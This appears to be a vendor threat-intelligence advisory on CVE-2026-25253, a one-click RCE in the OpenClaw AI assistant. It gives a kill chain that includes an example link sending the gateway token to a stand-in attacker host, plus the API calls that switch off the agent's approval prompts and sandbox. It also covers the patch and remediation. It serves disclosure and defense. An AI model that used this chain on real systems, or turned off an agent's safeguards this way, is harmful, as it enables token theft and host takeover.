CVE-2026-25253: OpenClaw One-Click RCE via Malicious Link

CVE-2026-25253 (TL-2026-0044), also tracked as OpenClaw Token Theft, is a critical-severity software vulnerability scored CVSS 8.8, first published 2026-02-03. It has no confirmed attribution, affects OpenClaw OpenClaw AI Assistant, references 1 CVE (CVE-2026-25253), maps to 39 MITRE ATT&CK techniques (T1005, T1021, T1041), and is covered by 15 detection rules and 38 indicators of compromise.

Key facts for TL-2026-0044

Threat ID
TL-2026-0044
Also known as
OpenClaw Token Theft, OpenClaw Gateway Compromise
Severity
CRITICAL
CVSS
8.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
Status
PATCHED
Category
VULNERABILITY
First published
2026-02-03
Last reviewed
2026-02-03
Attribution confidence
NONE
Motivation
N/A
Target sectors
Technology, Software Development, AI/ML, Information Technology
Target regions
Global
Detection rules
15
Indicators of compromise
38

CVE-2026-25253: OpenClaw (formerly MoltBot/ClawdBot) 1-Click Remote Code Execution via Cross-Site WebSocket Hijacking (CSWSH). The Control UI trusts a gatewayUrl query parameter without validation and auto-connects on page load, sending the stored gateway authentication token in the WebSocket handshake. A single click on a crafted link exfiltrates the token to an attacker-controlled server. The attacker then uses the victim's browser as a pivot — exploiting the absence of WebSocket Origin validation — to connect back to the victim's localhost gateway, disable sandbox protections and exec-approval prompts via the API, and achieve arbitrary command execution on the host. CVSS 8.8. Exploitable even on loopback-only deployments because the victim's browser bridges the network gap. Public PoC exploit code available. Patched in commit 8cb0fa9 (v2026.1.29) by adding a gateway URL confirmation modal.

How CVE-2026-25253 works

CVE-2026-25253 is a critical vulnerability in OpenClaw (formerly MoltBot, formerly ClawdBot), the open-source AI personal assistant with 100,000+ users. The vulnerability chains two distinct flaws into a devastating 1-click Remote Code Execution exploit:

Flaw 1 — Unauthenticated Gateway URL Override (CWE-669: Incorrect Resource Transfer Between Spheres): The Control UI's app-settings.ts accepts a gatewayUrl query parameter from the URL without any validation. When present, it persists the value to localStorage and app-lifecycle.ts immediately triggers connectGateway(), which in gateway.ts bundles the security-sensitive authToken into the WebSocket connect handshake. This means visiting https://victim-openclaw.com?gatewayUrl=ws://attacker.com:8080 silently redirects the authentication token to the attacker's server. Three code locations chain together: (1) app-settings.ts ingests the parameter, (2) app-lifecycle.ts auto-connects, (3) gateway.ts sends the token. Each is safe in isolation; together they form a critical data flow vulnerability that depthfirst's static analysis engine identified.

Flaw 2 — Missing WebSocket Origin Validation (Cross-Site WebSocket Hijacking): While browsers enforce Same-Origin Policy for HTTP requests via CORS, WebSocket connections have no equivalent browser-enforced restriction. The WebSocket server must validate the Origin header and reject unauthorized origins. OpenClaw's gateway WebSocket server did not perform Origin validation, accepting connections from any domain. This allows Cross-Site WebSocket Hijacking (CSWSH): JavaScript running on attacker.com can open a WebSocket to ws://localhost:18789 (the default OpenClaw gateway port) through the victim's browser. The browser acts as a network pivot, bridging the gap between the internet and the victim's otherwise inaccessible localhost.

Complete 1-Click RCE Kill Chain: 1. Victim visits attacker.com (disguised as innocuous URL) 2. JavaScript opens background window to http://victim-openclaw?gatewayUrl=ws://attacker.com:8080 3. Control UI auto-connects to attacker's WebSocket server, sending the gateway auth token 4. JavaScript uses CSWSH to open WebSocket from victim's browser to ws://localhost:18789 5. Authenticates using the stolen token (operator.admin + operator.approvals scopes) 6. Sends exec.approvals.set to disable user confirmation prompts (ask: 'off') 7. Sends config.patch to set tools.exec.host to 'gateway' (escapes Docker sandbox) 8. Sends node.invoke with arbitrary command for full RCE on the host

The entire chain executes in milliseconds. The victim doesn't type anything or approve any prompts. The attacker gains full host access: reading messages, API keys, files, and executing arbitrary commands.

Critical Attack Surface Analysis: - Localhost binding does NOT protect against this attack — the victim's browser bridges the gap - Docker sandboxing does NOT protect — the API allows disabling it via config.patch - Exec-approval prompts do NOT protect — the API allows disabling them via exec.approvals.set - The stolen token has operator.admin scope — full API access including config modification - Default port 18789 is predictable — attacker JavaScript can target it directly - Chrome's Local Network Access restriction (not yet enabled by default in Chrome v144) would mitigate but is not currently enforced

Discovery & Patch Timeline: - Jan 26 2026 13:21 UTC: Ethiack's Hackian AI pentester begins testing a live instance - Jan 26 2026 15:05 UTC: Hackian confirms the vulnerability autonomously in ~1h 40m - Jan 26 2026 18:02 UTC: Reported to OpenClaw maintainers - Jan 27 2026: depthfirst independently discovers the same vulnerability via static analysis - Jan 27 2026 17:12 UTC: Ethiack opens PR #2880 with fix - Jan 28 2026 21:32 UTC: Fixed in main branch (commit 8cb0fa9) - Jan 29 2026: v2026.1.29 released with fix — gateway URL confirmation modal added - Jan 14 2026: CVE-2026-25253 reserved (NVD)

Patch Analysis (commit 8cb0fa9, PR #2880): - app-settings.ts: gatewayUrl from query params no longer auto-applied; stored as pendingGatewayUrl - New gateway URL confirmation dialog (aria-modal=true) requires user to explicitly accept the new URL - handleGatewayUrlConfirm() applies settings and reconnects only after user confirmation - handleGatewayUrlCancel() rejects the override - Does NOT add WebSocket Origin validation (that may be in a separate commit)

Comparison with TL-2026-0043 (Registry Poisoning): - TL-0044: Exploits OpenClaw's CODE — a vulnerability in the Control UI data flow - TL-0043: Exploits OpenClaw's ECOSYSTEM — supply chain poisoning via malicious skills - Both achieve credential theft and RCE, but through completely different vectors - TL-0044: Requires victim to click a link (one-time, instant compromise) - TL-0043: Requires victim to install a malicious skill (persistent credential harvesting) - Combined: TL-0008 (parent 1-Click RCE) + TL-0043 (registry poisoning) + TL-0044 (CVE technical analysis) = OpenClaw attack surface cluster

Real-World Exploitability: - Public PoC: https://github.com/ethiack/moltbot-1click-rce (full exploit code) - 100K+ OpenClaw users, many with internet-exposed Control UIs or running locally with messaging integrations - Default configuration is vulnerable — no additional setup required by attacker - An AI pentester (Hackian) found and confirmed this autonomously in under 2 hours — barrier to exploitation is near zero - Social engineering vector is simple: share a link in any channel where OpenClaw users congregate - CVSS 8.8 (not 9.8 because user interaction required), but the interaction is trivial (one click)

MITRE ATT&CK techniques used in TL-2026-0044

collection

T1005 Data from Local System; T1074 Data Staged; T1114 Email Collection; T1213 Data from Information Repositories

lateral-movement

T1021 Remote Services

exfiltration

T1041 Exfiltration Over C2 Channel; T1567 Exfiltration Over Web Service

discovery

T1046 Network Service Discovery; T1082 System Information Discovery; T1518 Software Discovery

execution

T1059 Command and Scripting Interpreter; T1203 Exploitation for Client Execution; T1204.001 Malicious Link

defense-evasion

T1070 Indicator Removal; T1078.003 Local Accounts; T1550 Use Alternate Authentication Material

command-and-control

T1071 Application Layer Protocol; T1090 Proxy; T1571 Non-Standard Port

persistence

T1176 Software Extensions

initial-access

T1189 Drive-by Compromise; T1190 Exploit Public-Facing Application; T1566 Phishing; T1566.002 Spearphishing Link

credential-access

T1528 Steal Application Access Token; T1552 Unsecured Credentials; T1555 Credentials from Password Stores; T1556 Modify Authentication Process; T1606 Forge Web Credentials

privilege-escalation

T1548 Abuse Elevation Control Mechanism; T1611 Escape to Host

impact

T1565 Data Manipulation

defense-impairment

T1578 Modify Cloud Compute Infrastructure; T1685 Disable or Modify Tools

resource-development

T1583 Acquire Infrastructure; T1587 Develop Capabilities

reconnaissance

T1592 Gather Victim Host Information; T1593 Search Open Websites/Domains; T1595 Active Scanning

Affected products and versions in CVE-2026-25253

  • OpenClaw — OpenClaw AI Assistant
    Vulnerable versions: All versions before 2026.1.29
    Fixed in: 2026.1.29+

Remediation for CVE-2026-25253

Patches

  • OpenClaw version 2026.1.29 (released January 30, 2026)

Immediate actions

  • Update OpenClaw to version 2026.1.29 or later immediately
  • Review OpenClaw logs for any suspicious gateway connections
  • Rotate gateway tokens if any suspicious activity detected
  • Check for unexpected configuration changes
  • Warn users not to click suspicious links while using OpenClaw

Workarounds

  • Block external gatewayUrl parameters at proxy/WAF level
  • Restrict OpenClaw network access to localhost only
  • Disable auto-connect on URL parameter feature if possible

Longer-term hardening

  • Keep OpenClaw updated to latest version
  • Implement network monitoring for OpenClaw traffic
  • Use URL filtering to block known malicious domains
  • Consider running OpenClaw in isolated network segment
  • Enable enhanced logging for AI assistant activity

CVEs associated with CVE-2026-25253

CVE-2026-25253

Weaknesses (CWE) in CVE-2026-25253

CWE-601, CWE-346, CWE-200

Timeline of CVE-2026-25253

Showing the 20 most recent tracked events.

  • CVE-2026-25253 reserved in NVD for OpenClaw/MoltBot gateway URL token exfiltration vulnerability. Source: https://nvd.nist.gov/vuln/detail/CVE-2026-25253
  • OpenClaw (then ClawdBot/MoltBot) becomes trending topic on X, driving mass adoption. 100K+ users deploy personal AI assistants with full system access, many with public-facing Control UIs.
  • Security researcher @theonejvo raises public concerns about OpenClaw deployment security — exposed ports, public dashboards, temporary configs never secured. Source: https://x.com/theonejvo/status/2015401219746128322
  • Discovered
  • Security researcher @0xacb independently discovers and discloses the same vulnerability on X. Source: https://x.com/0xacb/status/2016913750557651228
  • Ethiack reports vulnerability to OpenClaw/MoltBot maintainers at 18:02 UTC with full technical details and proof-of-concept. Responsible disclosure.
  • Hackian AI pentester autonomously confirms 1-click account takeover to RCE at 15:05 UTC — approximately 1 hour 40 minutes from start. Discovers gatewayUrl parameter override + CSWSH + token exfiltration chain. Source: https://ethiack.com/news/blog/one-click-rce-moltbot
  • Ethiack deploys Hackian AI pentester against a live ClawdBot instance at 13:21 UTC. Black-box approach — no source code access. Hackian begins with reconnaissance, identifies WebSocket gateway, source maps, and client-side authentication logic.
  • Full PoC exploit code published at https://github.com/ethiack/moltbot-1click-rce — demonstrates complete kill chain from link click to arbitrary command execution on localhost instance.
  • Ethiack opens PR #2880 on MoltBot repository with fix for gatewayUrl auto-connect behavior. Adds confirmation modal dialog before applying gateway URL changes.
  • depthfirst General Security Intelligence independently discovers the vulnerability via automated static analysis. Their engine identifies the 3-file data flow chain: app-settings.ts → app-lifecycle.ts → gateway.ts. Source: https://depthfirst.com/post/1-click-rce-to-steal-your-moltbot-data-and-keys
  • GitHub Security Advisory GHSA-g8p2-7wf7-98mq published: '1-Click RCE via Authentication Token Exfiltration From gatewayUrl'. Describes token exfiltration leading to full gateway compromise. Source: https://github.com/openclaw/openclaw/security/advisories/GHSA-g8p2-7wf7-98mq
  • Fix merged into main branch at 21:32 UTC. Commit 8cb0fa9: 'fix(ui): reconnect after confirming gateway url (#2880)'. Adds pendingGatewayUrl confirmation dialog, removes auto-connect-on-load behavior. Source: https://github.com/openclaw/openclaw/commit/8cb0fa993ba0ba4a3e24c2a9e0416ab2ca796dcf
  • OpenClaw v2026.1.29 released with CVE-2026-25253 fix. All users advised to update immediately and rotate tokens.
  • OpenClaw v4.2.1 released with comprehensive security hardening: skill sandboxing, script hash verification, publisher verification, enhanced security audit tooling. Addresses both CVE-2026-25253 (code vuln) and TL-2026-0043 (registry poisoning).
  • Patch Available
  • Disclosed
  • depthfirst publishes detailed technical writeup of the vulnerability chain: app-settings.ts query parameter ingestion → app-lifecycle.ts auto-connect → gateway.ts token transmission → CSWSH pivot → sandbox escape → RCE. Source: https://depthfirst.com/post/1-click-rce-to-steal-your-moltbot-data-and-keys
  • Threadlinqs Intelligence deep analysis: CVE-2026-25253 distinct from TL-0043 registry poisoning. Same platform, complementary attack vectors. TL-0044 exploits OpenClaw's code, TL-0043 exploits OpenClaw's ecosystem. Together with TL-0008 they form the OpenClaw Attack Surface Cluster.
  • As of 2026-05-29, CVE-2026-25253 (OpenClaw 1-click RCE via gatewayUrl) remains PATCHED in v2026.1.29 with the full WebSocket Origin-validation fix since confirmed by SonicWall, SOCRadar and Hive Pro, and it is not in CISA KEV with no active campaign or named actor. It is a closed point-in-time vuln superseded as OpenClaw's top concern by newer in-the-wild flaws (Claw Chain CVE-2026-44112/44115, fixed in v2026.4.22).

Sources cited for CVE-2026-25253

Threats related to CVE-2026-25253

Detection coverage for TL-2026-0044

As of 2026-02-03, Threadlinqs Intelligence publishes 15 detection rule(s) for TL-2026-0044 across Splunk SPL, Microsoft KQL and Sigma, covering 38 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Further reading

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats